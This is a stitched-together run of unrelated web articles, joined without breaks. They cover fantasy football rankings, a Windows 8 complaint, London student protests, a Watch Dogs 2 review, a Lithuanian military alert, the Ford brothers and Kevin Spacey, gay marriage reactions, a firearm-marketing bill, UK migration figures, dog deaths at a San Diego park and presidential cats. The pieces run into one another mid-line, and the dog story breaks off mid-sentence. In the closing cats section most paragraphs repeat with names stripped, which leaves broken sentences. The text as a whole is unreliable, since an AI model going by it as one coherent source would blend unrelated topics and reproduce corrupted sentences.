“We’re going to have a much clearer picture of LeGarrette Blount’s 2017 situation by the time that most leagues go to draft, but, I think that expecting him to deliver RB2 numbers next year is a bit lofty. He’s coming off an outstanding season in both fantasy and reality, but his 18 TDs are in for an obvious regression. He cooled off significantly in December, after turning 30, logged extra playoff carries and had a YPC under 4 this season. Even if he’s in New England, he’s bound for a lesser role… and on another offense, there is no guarantee of workload.”
– Jon Collins (Fantasy Sports LR)
DeMarco Murray (RB – TEN): RB6
“While I certainly consider DeMarco Murray a RB1 going into next season, I would be hesitant to take him as the 6th off the board (in non-PPR). He is creeping up on 30 and Derrick Henry just might be one of the best backup RB in the league. Looking this early at the 2017 draft board I see these potential red flags to a RB I would rather be getting a bit later.”
– Sean Koerner (STATS)
Spencer Ware (RB – KC): RB15
“Ware is too high for me at No. 15, as he’s 33rd on my list. Ware had a hot start to his season, but wore down as the year went on. He had more than 18 carries just once after Week 6, and he scored two total touchdowns in his final eight games. The Chiefs will almost certainly add a running back this offseason, and that player will eat into Ware’s workload.”
– Walter Cherepinsky (WalterFootball)
Kenneth Dixon (RB – BAL): RB26
“Dixon is coming off a rookie season in which he underwhelmed, so much so that the team is talking about adding another back to the rotation. Terrance West got the valuable red-zone carries and looks primed to do so again. For a team that led the league in drop backs, Dixon’s 41 targets isn’t anything to write home about considering Terrance West saw more and so did Kyle Juszczyk and that is just out of the backfield. Even during the six games down the stretch, the Louisiana Tech alum averaged 9.6 fantasy points a game in standard leagues which would rank 30th among RBs in points per game.”
– Anthony Staggs (Pyromaniac)
Q2. What WR is the most overvalued in our early consensus rankings?
Sammy Watkins (WR – BUF): WR13
“With a new offense, and an unclear quarterback situation, I don’t plan to make 2016’s mistake again on Sammy Watkins (WR14). Sure, he flashed talent again in 2016 but he battled the injuries that have plagued him throughout his career and is coming off another (admittedly minor) surgery. In eight tries, he posted one 100 yard game and scored twice. He’d need both growth, and a full season to justify being drafted as the 14th receiver off the board. I’m not ready to bet on either.”
– Jon Collins (Fantasy Sports LR)
Demaryius Thomas (WR – DEN): WR19
“I have Thomas as my 29th-ranked fantasy receiver for 2017, so No. 19 is too rich for my blood. Thomas has averaged 5.5 touchdowns per season the past two years, and that’s unlikely to improve with the quarterback dilemma the Broncos currently have. Thomas also dropped a lot of passes in 2016, which was especially painful because he had fewer opportunities than he did with Peyton Manning.”
– Walter Cherepinsky (WalterFootball)
Donte Moncrief (WR – IND): WR24
“Moncrief’s hype train apparently never got derailed last season with early ranks putting him as the 24th receiver. All this hype for a guy who averaged just over 3 catches for 34 yards a game last season despite being targeted as the second option in the passing game when active. Donte’s saving grace last season was he caught seven touchdowns in just nine games, but when you look at the rate, it is unsustainable. The former Ole Miss standout caught a touchdown pass on 23% of his receptions while his career norms prior to this year were a shade under 10%. Moncrief’s touchdowns accounted for 57% of his total fantasy points last season, the highest percentage among the top-100 receivers in that time.”
– Anthony Staggs (Pyromaniac)
Antonio Brown (WR – PIT): WR1
“I think anyone drafting this early shouldn’t consider Antonio Brown the auto-draft 1st WR off the board. Not as long as any Big Ben potentially retiring rumors continue to swirl. I think ultimately Big Ben will return for at least another season but factoring even the small chance he does – and how much that would negatively impact AB’s stock, has to be considered at least.”
– Sean Koerner (STATS)
Q3. What QB is the most overvalued in our early consensus rankings?
Matt Ryan (QB – ATL): QB5
“Ryan will surely be overvalued this year. He is obviously surrounded by a ton of weapons and should still put up solid numbers again this year. However, he is surely due for a pretty big regression in passing TDs back to the 28-32 range. Ryan isn’t able to help counter that with many rushing stats to speak of and not to mention – will be playing under a new offensive coordinator this year. I see him failing to meet the lofty expectations he set with a career year nine seasons into his career.”
– Sean Koerner (STATS)
“No doubt it will be unpopular to rain on the reigning MVP’s parade, but I’m anxious about a change in offense in Atlanta. It took Matt Ryan some time to adjust to Kyle Shanahan’s offense and his departure suggests that more change is on the horizon. Atlanta will deploy a similar offense in 2017, but adjustments will be necessary all the same. I’m concerned that Atlanta takes a step back on offense this year, and specifically that it impacts their QB’s production.”
– Jon Collins (Fantasy Sports LR)
Kirk Cousins (QB – WAS): QB11
“I didn’t have much of a disparity at quarterback, with the greatest margin for a relative player being No, 11 to 16. I have Cousins 16th because he could lose his top two receivers, Pierre Garcon and DeSean Jackson, to free agency. There’s also a chance that the 49ers trade two first-round picks to the Redskins for Cousins if he’s franchised. Going to San Francisco would be detrimental to Cousins’ fantasy stock because of the poor talent there.”
– Walter Cherepinsky (WalterFootball)
Derek Carr (QB – OAK): QB9
“Derek Carr is a hair overvalued in my book. As in with all quarterbacks it is really splitting hairs, I believe he belongs a tier lower than most, however. 43.4% of Carr’s fantasy points came from touchdown passes last season, a number significantly higher than average for a top-40 quarterback. With touchdown production so fickle year-to-year and passing yardage being more stable, I will throw out a bet on Carr going before I am ready to take him. Despite an excellent season last year, Carr finished 13th among quarterbacks in fantasy points per game. With no real rushing upside, any hit to Carr’s passing touchdowns can cause a big tumble from a back-end QB1 to a midrange QB2.”
– Anthony Staggs (Pyromaniac)
—
Thanks to the experts for evaluating the current consensus. Be sure to follow them on Twitter for advice this offseason. You can also check out our podcast below for fantasy football discussions all year long.
Subscribe: iTunes | Stitcher | SoundCloud | Google Play | TuneIn | RSS“I cannot even begin to stress out just how horrible this idea is! “
Yesterday we had reported why Valve engineer Drew Bliss prefers Linux over Windows 8. Today we have another industry personality defending Gabe Newell’s comments about Windows 8, when he said that ‘Windows 8 is a catastrophe for everyone in the PC space‘.
Now Alen Ladavac from CroTeam, developers of Serious Sam 3, has defended Gabe Newell’s comments (via ubuntuvibes). He believes that Gabe did not overreact when he passed on his feedback about Windows 8.
“Gabe Newel did not overreact. What you don’t see here is that, under the hood, the new tiled UI is a means for Microsoft to lock Windows applications into a walled garden, much like the one on iOS. There is this “small detail” that Microsoft is not advertising anywhere, but you can find it dug deep in the developer documentation,” he posted on Steam’s forums.
He too criticized Windows 8 where no one can release an application unless they are routed through the Windows Store. He calls it a horrible idea.
“One cannot release a tiled UI application by any other means, but only through Windows Store!”
“I cannot even begin to stress out just how horrible this idea is! There is no side-loading, except for corporate use inside one company, and that works only on the enterprise edition of Windows 8. Do we all understand what that means? You cannot download an application from the Internet and run it on your computer. You have to get it from Microsoft’s store. Even if it is a free app!”
He also believes that the removal of the Start menu is way to force users to get used to the titled UI.
“Now, while in current state Windows 8 do look like they support plain desktop apps seamlessly, the removal of start menu and use of “charms” even on the desktop looks like a pretty blunt attempt to force users to “get used” to the tiled UI. It would be fine by me if it wasn’t for the aforementioned certification issue.”
What do you guys think about the developer’s stance against Windows 8? Do you guys think it will affect the future of PC gaming? Let us know your thoughts in the comments section below.Students square up to police violence as London's biggest university tries to ban protest
Last week, London’s village-like Bloomsbury area became a battleground between students and police. In two days, 43 arrests were made, and several videos appearing to show police brutality are now circling the internet. It was the latest, most violent episode in a crackdown on student protest in the city which began in the summer. Amid the chaos of last week, the University of London – the capital's biggest, which includes Goldsmiths, SOAS and UCL – got itself a High Court injunction forbidding protest on its site until next June. Those who disobey it, the order warns, might find themselves in contempt of court. “The university started filming demonstrations from the balconies of Senate House, with few missing the irony that the building inspired the Ministry of Truth in George Orwell’s Nineteen Eighty-Four" It goes back to Wednesday evening when University of London security forcefully evicted 30 demonstrators staging an occupation of its premises at Senate House. Some 50 police were on hand, but only, the university said, “to prevent a breach of the peace”. However, footage appears to show them doing a lot more than that. One officer can be seen punching a man in the face. In another clip, two police slam a woman, screaming, to the pavement and then walk off.
There were seven arrests that night but, the police were keen to point out, no formal complaints were made against them. Still, both people at the demonstration and those who had seen it reported online were furious, appalled by what they considered police violence and intimidation. That anger could be felt at a Cops Off Campus protest, promoted anonymously on Tumblr, which took place the next day. Some protesters brought homemade shields (not a bad idea, since the police definitely made use of their batons), while others let off red smoke bombs amid clashes between officers and students. This time, 36 people were arrested, including a man with a crutch. An eyewitness said he “was walking near the police when they pushed him, and as he fell backwards the police kicked away his crutch before jumping on him”. After officers moved away from where his arrest took place, a red blood stain could be seen on the pavement.
Oscar Webb, the editor at the London Student newspaper, was one of those arrested. He was there covering the protest and can be seen in a video holding up his press card just before being handcuffed. He spent the night in isolation in a cell in south London, and although he wasn’t charged with any offence, he now has bail conditions that prohibit him from going in Senate House. If police were already clamping down on student protests, they now appear to be getting heavy-handed with those who report them too. As far as the students were concerned, these were two especially brutal days. But the crackdown goes back months, when in July a 24-year-old philosophy student was arrested for writing in chalk on a University of London foundation stone. It’s alleged she caused £600 of criminal damage, even though, as one person was quick to point out: “Chalk can be washed off. That’s the whole point of chalk.”
Oscar Webb
Shortly after, the university effectively banned protest on parts of its site, saying it would “consider protesters to be trespassing” and “take all the necessary legal measures to prevent and prosecute” it. The ban has been defied by students. But when it was, police, some holding tasers, were there waiting at the scene. The university also started filming demonstrations from the balconies of Senate House, with few missing the irony that the building inspired the Ministry of Truth in George Orwell’s Nineteen Eighty-Four. There were also the arrests of the vice-president and president of the University of London Union (ULU), who are seen by the university as masterminding the protests that cause them so much “disruption”. The former was in a student union bar that was raided and was detained after objecting to what he considered racial profiling by police. The latter, Michael Chessum, was arrested a day after a demonstration for, as he understands it, allegedly not letting police know about it. “As demonstrators were being kettled on Thursday, one officer justified the police’s actions with the words:'stupid students being idiots'"
So what’s motivating the police crack down? For Chessum, it’s simple: University of London management have been “colluding throughout with the police”. Although the university almost always denies calling police in, he sees it as directly culpable. He told me: “It’s clearly an attempt by managers to silence and intimidate those who disagree with the way they are running things, which is disgraceful given universities should be places of free expression which allow dissent.” On Twitter, he called on the university to condemn the violence over the two days. They said they wouldn’t – it was “a police decision”. As to why police appear so willing last week to get aggressive with the students, some have suggested it’s a way of pleasing their commanders, making their job more secure in a period of austerity. It may be that, or it may be something more simple. As demonstrators were being kettled on Thursday, one officer justified the police’s actions with the words: “stupid students being idiots”. Another said he “hated waiting around” and “enjoyed the disorder side of things”. In other words, it might just be that the police don’t like students very much and enjoy confrontation with them.
Oscar WebbShare. Watch Watch Dogs 2 to see if the multiplayer modes are fixed. Watch Watch Dogs 2 to see if the multiplayer modes are fixed.
Why is this a review in progress? Right now all of Watch Dogs 2’s “seamless multiplayer” modes, in which players can dynamically appear in each other’s games, are disabled because of major performance problems. Ubisoft is actively working to resolve them, but no firm date has been given for a fix. Until I’ve had a chance to play those modes and test them (or until two days after launch, whichever comes first) this review will remain in progress with a temporary score.
By expanding on a lot of what the first game and its expansion got right and mixing action, stealth, and puzzle gameplay with handy remote-control drones, Watch Dogs 2 impresses with open mission designs with multiple ways to reach your objective and some great toys to find them with. I’m conflicted about the tone of its story and characters, but I had a great time exploring its Bay Area map. Once its serious multiplayer problems are hopefully resolved, this will be a significant improvement over Ubisoft’s first draft of its action-hacker series.
Watch Dogs 2 - All Trailers 13:17 Got feedback on our player? We want to hear it.
One of the chief complaints about the original Watch Dogs was that its “fixer” hacker protagonist, Aiden Pearce, is a bland and unlikeable character. Ubisoft listened and left Pearce in Chicago, picking up in the Bay Area with the much more personable hacker vigilante Marcus Holloway, who is motivated not by blind revenge but by a philosophy and doesn’t always take himself seriously. Aside from a few cringe-inducing jokes, I like Marcus a lot more. Even though he and his vigilante hacker gang, Dedsec, are a little obnoxious and petty about their crusade against the Orwellian surveillance state this version of America has become, they’re generally relatable.
But, surprise twist: that’s kind of an issue, because I just don’t buy Marcus as a killer who mows people down by the dozen with gaudy, 3D-printed assault weapons. The way he’s portrayed in the cutscenes ranting against the misuse of people’s personal information is passionate, and he seems like a fundamentally good person. And then the mission begins and he might wipe out a group of private security guards, gang members, or worse, actual San Francisco Police, before going back to being relatively happy-go-lucky in the cutscenes again, unfazed by all the murder and chaos. It’s a weird disconnect that feels different than roleplaying as a violent criminal like Trevor Philips or Michael de Santa, and though it didn’t affect the mechanics it was something I was constantly noticing and feeling off about.
“ Drones are great for scoping out an area before you charge in yourself.
Because there’s no morality system to punish (or reward) violent behavior, Marcus’ personality is the only thing pushing us toward a non-lethal playstyle of stealth and silent takedowns. While it’s not as built out as something like Hitman (you can’t, for example, hide unconscious bodies to avoid detection) Watch Dogs 2 is as much a stealth game as it is an action game, and finding a silent path to an objective is a more interesting and challenging way to play that makes you use all your tools, including drones that can drive through small spaces or fly to hack something you couldn’t reach. They’re great for scoping out an area before you charge in yourself. It’s a shame that efforts to keep the body count down aren’t recognized, though – even perfectly ghosting a mission gives you the same reward as turning everyone you meet into ghosts.
Though I attempted it anyway, non-lethal techniques aren’t quite enough when you’re caught in the midst of a high-tech heist. You can melee people and knock them out, and you have an infinite-ammo stun gun that can incapacitate people at range, but it’s slow to fire (even with an upgrade). It’s no match for a wave of guards with SMGs, and so, not always for the better, out come the big guns.
Infiltrating A Church In Watch Dogs 2 05:25 Got feedback on our player? We want to hear it.
Shootouts ensue, using the same cover-based shooting that’s all but ubiquitous with open-world crime games, though Watch Dogs 2 feels a little different than most because even on normal difficulty you’re not very durable, and the AI is reasonably good at using cover and flanking. (Also, a lot more of San Francisco gangs have hand grenades than I’d have thought.) But you have enough means of indirect attack to feel capable in a fight, and some of them are great fun. Explosive-carrying enemies can be hacked to detonate their bombs, some can be stunned by overloading their headset communications gear, and anyone who happens to be standing near a hackable piece of equipment in the environment can be shocked or blown up at the push of a button.
“ My favorite is the ability to summon angry gang members.
But my favorite is the ability to summon angry gang members or police and target them at whoever you like by fabricating evidence. It’s not just a means of attack, it’s a fantastic distraction: I love calling them in on the far side of an area and then running in to grab my objective while the guards are too busy dealing with them to notice me. This hilarious power can be abused in a semi-game-breaking way: you can keep calling them in (after your power meter recharges) until every enemy is dead without lifting a finger.
Taking Down Hollywood in Watch Dogs 2 06:25 Got feedback on our player? We want to hear it.
Hacking in general is more flexible than in the first Watch Dogs - you usually have more than one option on every hackable item. For example, you can open a door with a hack, or you can choose to lock it so that no one can follow you for a few seconds. You can detonate an electrical box to stun someone nearby, make it go haywire to attract attention, or turn it into a mine that will detonate when someone gets close. If anything, there may be too many hackable items scattered around, to the point where I often have trouble selecting the right one.
Bay to Breakers
This is a great open world map, and I’m not just saying that because was born in the Bay Area and have lived here for almost my entire life. Watch Dogs 2’s version is super condensed, with entire neighborhoods left on the cutting room floor, but it has all the major landmarks pretty much where they should be. (Thankfully the perpetually gridlocked traffic was omitted.) It’s a fun and diverse place to explore and run amok, and it’s surreal to be in a car chase and suddenly look up and see something like Moscone Center, the Palace of Fine Arts, the Painted Ladies, Fisherman’s Wharf, or Stanford University. I’d recommend it as virtual tourism, especially if you’ve been here before and want a refresher.
There's also quite a bit of satire about the San Francisco area and its culture, but nothing approaching HBO’s Silicon Valley’s wit. A lot of its humor comes through in the random bios that pop up when you hack civilians, some of whom can give you jokey snippets of phone calls or text conversations, all the while humanizing the crowds and making me less excited about trying to run them over on purpose."Since the end of the last week, since Saturday, we have observed a rise in the activity of the Russian Federation's forces in the Kaliningrad region as well as in the western part of the Russian Federation. Therefore, a decision was made to put several of our military units on a higher state of preparedness. These are rapid response units as well as units responsible for military tasks during peacetime," Chief of the Joint Staff Vilmantas Tamošaitis said.
In his words, increased activity has been observed on the ground, in the sea and the air.
According to previous reports, Lithuania's rapid response force will be ready for deployment from two to 24 hours. Its response time would be shorter after it was put on higher alert.
"It means that our military units are ready to respond in a short span of time. Their response time had already been short but now certain military units are put on higher alert and their response time is shorter," Tamošaitis said.
Lithuania's rapid response force is comprised of two infantry battalions, elements of military engineers, air force, special forces and logistic support, all in all, around 2,500 well-prepared troops.
The army does not disclose as to whether they all have been put on a higher state of preparedness.Doug Ford and Rob Ford have often devoted some of their show to attacks on people they don't like: opposing councillors, local journalists, city “elites.” In the latest installment of the mayor's “Ford Nation” YouTube campaign program, they went after an unusual target: actor Kevin Spacey.
Kevin Spacey, seen here at the Oscars in Hollywood on March 2, was attacked by Doug Ford on youTube. ( CHRISTOPHER POLK / GETTY IMAGES )
Spacey, the star of House of Cards, poked fun at Rob Ford when they both appeared on Jimmy Kimmel's late-night ABC show on the night of the Academy Awards. They had apparently shared a backstage room; Spacey joked that the mayor “threw up all over it.” On the YouTube show, released on Friday, Doug Ford, his brother's campaign manager, criticized Spacey in harsh terms and at length — in a segment entitled “Kevin Spacey.” Kimmel, Doug Ford said, is a “down-to-earth guy” who posed for a photograph with anyone who asked.
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“And then there was this Kevin Spacey. Okay?” he began. “I want to start off with saying Kevin Spacey is an incredible actor.” Rob Ford interjected with a shrug: “I don't watch movies. I wouldn't know him if I ran him over.” Doug Ford continued, visibly angry: “In my opinion, he's an arrogant S.O.B., and I'll tell you the reason why. Any actor that makes a living off the people that watch his shows — he wouldn't take a picture with anyone? We were told you can't take a picture, and you can't speak to him. Who does this character think he is?” Rob Ford: “I don't even know him.” Doug Ford continued: “He thinks he's God? He's up there? That no common folk can take a picture?”
He concluded with a direct-to-camera address, perhaps a tribute to Spacey character Frank Underwood: “You know, Kevin, why don't you get off your high horse and be real and take pictures with people?” Rob Ford attempted one final time to calm Doug Ford down: “You gotta be careful, because you know what, maybe he does take pictures and we're not aware of it.”
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All three of this week's videos, in which Doug Ford spoke much more than Rob, were devoted largely to the brothers' trip to Hollywood. In another of the videos, Rob Ford explained a TMZ report that he was using an expensive poolside cabana during a post-Oscar party. He said he had merely asked a cabana-dweller to sit down on a vacant cushion. “They make up stories,” Doug Ford said. “They insinuated that we spent money, $2,500, which is an outright lie. And if I wasn't too busy sitting here with you, I'd be suing their ass off right now, to be frank with you.”
Read more about:1) Gay Republican bad faith. For years, both out-and-out gay marriage opponents and conservative gay marriage supporters have jabbed Democrats in the ribs with this fact: Your president doesn’t support gay marriage. Starting in 2009, they got another stick with which to poke: Ha, Dick Cheney’s better on gay rights than your guy.
And so we have this from GOProud’s chief strategist Chris Barron:
It is good to see that after intense political pressure that President Obama has finally come around to the Dick Cheney position on marriage equality. I am sure, however, the President’s newly discovered support for marriage is cold comfort to the gay couples in North Carolina. The President waited until after North Carolina passed a constitutional amendment banning same-sex marriage. This is hardly a profile in courage by President Obama.
And Log Cabin Republicans:
Log Cabin Republicans appreciate that President Obama has finally come in line with leaders like Vice President Dick Cheney on this issue, but LGBT Americans are right to be angry that this calculated announcement comes too late to be of any use to the people of North Carolina, or any of the other states that have addressed this issue on his watch.
One important difference between Cheney and Obama: Obama did not run on a ticket that officially endorsed a constitutional amendment to ban gay marriage.
2) Completely predictable social conservative horror. Ralph Reed, whose Faith & Freedom Coalition is now taken quite seriously, labels the endorsement an “unexpected gift to Romney.”
Four years ago 2008 Barack Obama promised if elected not to raise taxes on those making less than $250,000, pledged to cut the deficit in half by the end of his first term—and made clear his support for traditional marriage. All those promises are now broken.
He only raised taxes if you count current cigarette and tanning bad fees, but we’ll let it slide. The National Organization for Marriage goes with the “he did it for money” angle.
God is the author of marriage, and we will not let an activist politician like Barack Obama who is beholden to gay marriage activists for campaign financing to turn marriage into something political that can be redefined according to presidential whim.
The Family Research Council, in the person of Tony Perkins, goes with the facts of the case. It’s the most convincing boilerplate I’ve seen all day.
The President’s announcement today that he supports legalizing same-sex marriage finally brings his words in sync with his actions. From opposing state marriage amendments to refusing to defend the federal Defense of Marriage Act (DoMA) to giving taxpayer funded marriage benefits to same-sex couples, the President has undermined the spirit if not the letter of the law.
3) Honest disappointment. Bishop Harry Jackson has been the trad movement’s point man in Maryland, D.C. – a figure, conservatives hoped, who could keep black voters on the right side. “I think some people will leave Mr. Obama altogether,” he tells the AP, rather Polyannishly. “But our view will be, this is about marriage. I’m not going to try to make President Obama the issue.” Ric Grenell, reached by the New York Times, simply says what Democrats will think when the endorphins wear off. “The president could have evolved when the Democrats controlled the House and the Senate, or even yesterday before the swing state of North Carolina voted.”On July 14, Representative Robin Kelly (D-IL-2nd) put forth H.R. 5093–the Children’s Firearm Marketing Safety Act–to keep firearm-branded shirts, hats, and “stuffed animals” from being marketed to children.
The bill asks the Federal Trade Commission “to prohibit any person from marketing firearms to children,” which would include the marketing of merchandise containing firearm brand names.
According to the text of H.R. 5093, the Children’s Firearm Marketing Safety Act would also prohibit the “manufacturing of a gun with colors or designs that are specifically designed with the purpose to appeal to children.”
It also bans the manufacturing of other guns fathers use to teach their children how to shoot, unless those guns are covered with warnings like “Real gun, not a toy…”, “Actual firearm the use of which may result in death or serious bodily injury,” “Dangerous weapon,” and/or “similar language determined by the Federal Trade Commission.”
The bans contained in H.R. 5093 would be for any “child” who is “less than 18 years of age.”
The bill has been referred to the House Committee on Energy and Commerce.
Follow AWR Hawkins on Twitter @AWRHawkins Reach him directly at awrhawkins@breitbart.com.The UK may not have left the EU yet, but Europeans are already leaving Britain. New figures from the ONS show that net migration of EU citizens fell by 51,000 in the year to March 2017, driven by higher emigration (up 33,000) and reduced immigration (down 19,000). The exodus was most marked among eastern Europeans, with a 19,000 increase in emigration among this group.
Consequently, net migration has fallen by 81,000 to 246,000, the lowest recorded level for three years. That's still more than double the Conservatives' target of reducing net migration to "tens of thousands a year" but the trend is clear. Meanwhile, the number of international students who overstay their visas has been found to be dramatically lower than previously estimated. Rather than 100,000 students, as thought, exit checks reveal the true figure is a mere 4,600. The incorrect stats were used by May to justify including foreign students in the net migration target (Home Secretary Amber Rudd has belatedly ordered an inquiry into their economic contribution).
And all this before the government has imposed new controls on free movement. The causes of the UK's unattractiveness are not hard to discern. The pound’s depreciation (which makes British wages less competitive), the spectre of Brexit (May has refused to guarantee EU citizens the right to remain) and a rise in hate crimes and xenophobia are likely to be the main deterrents.
Ministers may publicly welcome the figures, but many privately acknowledge that they come at a price. The OBR recently forecast that lower migration would cost £6bn a year by 2020-21. As well as reflecting weaker growth, reduced immigration is likely to reinforce it. Migrants pay far more in tax than they claim in benefits, with a net contribution of £7bn a year. An OBR study found that with zero net migration, public sector debt would rise to 145 per cent of GDP by 2062-63, while with high net migration it would fall to 73 per cent.
Brexit has in fact forced ministers to increasingly acknowledge an uncomfortable truth: Britain needs immigrants. Those who boasted during the referendum of their desire to reduce the number of newcomers have been forced to qualify their remarks. Brexit secretary David Davis, for instance, recently conceded that immigration would not invariably fall after the UK leaves the EU. "I cannot imagine that the policy will be anything other than that which is in the national interest, which means that from time to time we’ll need more, from time to time we’ll need less migrants."
Though Davis insisted that the government would eventually meet its "tens of thousands" target (a level not seen since 1997), he added: "The simple truth is that we have to manage this problem. You’ve got industry dependent on migrants. You’ve got social welfare, the national health service. You have to make sure they continue to work."
As my colleague Julia Rampen has charted, Davis's colleagues have inserted similar caveats. Andrea Leadsom, the Environment Secretary, who warned during the referendum that EU immigration could “overwhelm” Britain, has told farmers that she recognises “how important seasonal labour from the EU is to the everyday running of your businesses”. Others, such as the Health Secretary, Jeremy Hunt, the Business Secretary, Greg Clark, and the Communities Secretary, Sajid Javid, have issued similar guarantees to employers. Brexit is fuelling immigration nimbyism: “Fewer migrants, please, but not in my sector.”
In recent history, there has only been one reliable means of reducing net migration: a recession. Newcomers from the EU halved after the 2008 crash. Should the UK suffer the downturn that historic trends predict, it will need immigrants more than ever. Both the government and voters may only miss migrants when they're gone.SAN DIEGO (KGTV) – Another mysterious dog death has been tied to the Grape Street Dog Park. On Thursday, several viewers reached out to tell 10News that three dogs had died after visits to the park.
We spoke with one owner, who asked us to keep her name private. She said her Yorkshire Terrier died hours after they got home from the park.
RELATED: Neighbors: Dogs being poisoned at Grape Street Dog Park
After watching our story on 10News at 11 p.m., a second dog owner came forward. Bridget Martin says her dog also died after a visit to the park. Symptoms are similar but not identical to the first case we covered. Most have reported stomach issues leading to vomiting or diarrhea.
Since the deaths, dog owners in the neighborhood have been wary of taking their dogs to the park - and multiple hand-written signs have been posted as warnings.
Martin was out of town when her French Bulldog, Dozer, died. She says she visited the park with her two dogs on June 15. She left 8-year-old Dozer with her mom while she was out of town and on Tuesday, Dozer starting acting like he was sick.
“He wasn’t feeling well," Martin said. "(He was) throwing up and panting a lot."
Her mom told her that he seemed to get better, but took a nap Wednesday and never woke up.
“We’re all just completely shocked,” Martin said, adding that Dozer |
owned the largest of the feline species — two tiger cubs — gifts from the Sultan of Oman. He was eventually pressured (by Congress) to move them out of the White House and donate them to the local zoo.
owned the largest of the feline species — two tiger cubs — gifts from the Sultan of Oman. He was eventually pressured (by Congress) to move them out of the White House and donate them to the local zoo. Abraham Lincoln was the first known president to bring felines into the White House, including his son Tad’s cat named Tabby. Lincoln reportedly liked to feed Tabby with a gold fork at White House dinners. He loved all cats and could play with them for hours. When asked if her husband had a hobby, Mary Todd Lincoln simply replied, “cats.” Once, during a winter visit to General Grant’s headquarters, Lincoln rescued three half-frozen kittens from a Civil War battlefield telegraph hut. He tucked them in his coat and brought them back to the White House to join Tabby before finding a good home for them.
was the first known president to bring felines into the White House, including his son Tad’s cat named Tabby. Lincoln reportedly liked to feed Tabby with a gold fork at White House dinners. He loved all cats and could play with them for hours. When asked if her husband had a hobby, Mary Todd Lincoln simply replied, “cats.” Once, during a winter visit to General Grant’s headquarters, Lincoln rescued three half-frozen kittens from a Civil War battlefield telegraph hut. He tucked them in his coat and brought them back to the White House to join Tabby before finding a good home for them. Rutherford Hayes received the first Siamese cat in the U.S., named Siam. She was sent to Mrs. Hayes in 1878 as a gift from a U.S. diplomat, David Sickels, in Bangkok, Thailand and endured a two-month journey in a Wells Fargo crate before arriving in Washington D.C. In the original letter documenting Siam’s arrival, she is described by Sickels as “mahogany-colored” and “one of the finest specimens of Siamese cats that I have been able to procure in this country.” Siam was said to be “good natured” and soon became a favorite pet of the Hayes family and the staff. Siam was allowed to roam the White House and often made ‘grand entrances’ whenever the First Lady entertained guests. President Hayes’ personal physician, Dr. J. H. Baxter, treated and cared for Siam when she became seriously ill from a respiratory infection, shortly before her death. Instructions were given to preserve Siam but today, despite searches of the Department of Agriculture’s museum and the Smithsonian Institution, Siam has never been located. Hayes also had two other cats, Miss Pussy and Piccolomini.
received the first Siamese cat in the U.S., named Siam. She was sent to Mrs. Hayes in 1878 as a gift from a U.S. diplomat, David Sickels, in Bangkok, Thailand and endured a two-month journey in a Wells Fargo crate before arriving in Washington D.C. In the original letter documenting Siam’s arrival, she is described by Sickels as “mahogany-colored” and “one of the finest specimens of Siamese cats that I have been able to procure in this country.” Siam was said to be “good natured” and soon became a favorite pet of the Hayes family and the staff. Siam was allowed to roam the White House and often made ‘grand entrances’ whenever the First Lady entertained guests. President Hayes’ personal physician, Dr. J. H. Baxter, treated and cared for Siam when she became seriously ill from a respiratory infection, shortly before her death. Instructions were given to preserve Siam but today, despite searches of the Department of Agriculture’s museum and the Smithsonian Institution, Siam has never been located. Hayes also had two other cats, Miss Pussy and Piccolomini. William McKinley owned two Turkish Angora cats, Valeriano Weyler, named for the governor of Cuba, and Enrique DeLome, named after Spain’s Ambassador.
owned two Turkish Angora cats,, named for the governor of Cuba, and, named after Spain’s Ambassador. Theodore Roosevelt had two cats, six-toed Slippers and Tom Quartz (named after the cat in Roughing It by Mark Twain). Slippers had a habit of falling asleep while sprawled out in hallways. At one state banquet, guests even had to walk around her as they made their way to the dining room.
had two cats, six-toed Slippers and Tom Quartz (named after the cat in Roughing It by Mark Twain). Slippers had a habit of falling asleep while sprawled out in hallways. At one state banquet, guests even had to walk around her as they made their way to the dining room. Woodrow Wilson owned a cat named Mittens and an American Shorthair named Puffins. Both cats enjoyed trying to leap on the Wilson’s dining room table during family meals, only to be squirted with water to shoo them away.
owned a cat named Mittens and an American Shorthair named Puffins. Both cats enjoyed trying to leap on the Wilson’s dining room table during family meals, only to be squirted with water to shoo them away. Calvin Coolidge was a cat lover at an early age. As a young boy he once saved a litter of kittens from being drowned. Coolidge owned several cats in the White House: Smokey, Blackie, Tiger, Bounder, Timmie and Climber (a Turkish Angora affectionately nicknamed “Mud”). Coolidge also owned a bobcat and two lion cubs. It is said that Timmie slept with the family’s canary, Caruso (one of several cageless birds they owned), perched between his shoulders each night. Tiger, a grey-striped American Shorthair, was often found walking along beside the president or wrapped around his neck. Once, when Tiger wandered away, Coolidge pleaded for his return on a radio address (radio was a relatively new phenomenon at that time). Happily, Tiger was returned and fitted with a special collar that included his White House address. Later, Tiger strayed a second time but sadly, he was never seen again.
was a cat lover at an early age. As a young boy he once saved a litter of kittens from being drowned. Coolidge owned several cats in the White House: Smokey, Blackie, Tiger, Bounder, Timmie and Climber (a Turkish Angora affectionately nicknamed “Mud”). Coolidge also owned a bobcat and two lion cubs. It is said that Timmie slept with the family’s canary, Caruso (one of several cageless birds they owned), perched between his shoulders each night. Tiger, a grey-striped American Shorthair, was often found walking along beside the president or wrapped around his neck. Once, when Tiger wandered away, Coolidge pleaded for his return on a radio address (radio was a relatively new phenomenon at that time). Happily, Tiger was returned and fitted with a special collar that included his White House address. Later, Tiger strayed a second time but sadly, he was never seen again. John F. Kennedy’s daughter, Caroline, owned Tom Kitten, from the name of the classic childrens’ book by Beatrix Potter. President Kennedy was later diagnosed as being allergic to cats (and dogs) and had to keep his distance from Tom Kitten. When he died, Tom Kitten merited his own obituary in a Washington newspaper.
daughter, Caroline, owned Tom Kitten, from the name of the classic childrens’ book by Beatrix Potter. President Kennedy was later diagnosed as being allergic to cats (and dogs) and had to keep his distance from Tom Kitten. When he died, Tom Kitten merited his own obituary in a Washington newspaper. Gerald Ford’s daughter, Susan, owned Shan Shein, a sealpoint Siamese cat named after a city in China. Shan slept in Susan’s bed at night and spent her days with Mrs. Ford while Susan was at school.
daughter, Susan, owned Shan Shein, a sealpoint Siamese cat named after a city in China. Shan slept in Susan’s bed at night and spent her days with Mrs. Ford while Susan was at school. Jimmy Carter’s family owned Misty Malarky Ying Yang, a sealpoint Siamese cat that daughter Amy continually spoke about. While at the White House, Misty could often be found curled up in her favorite spot — Amy’s indoor doll house.
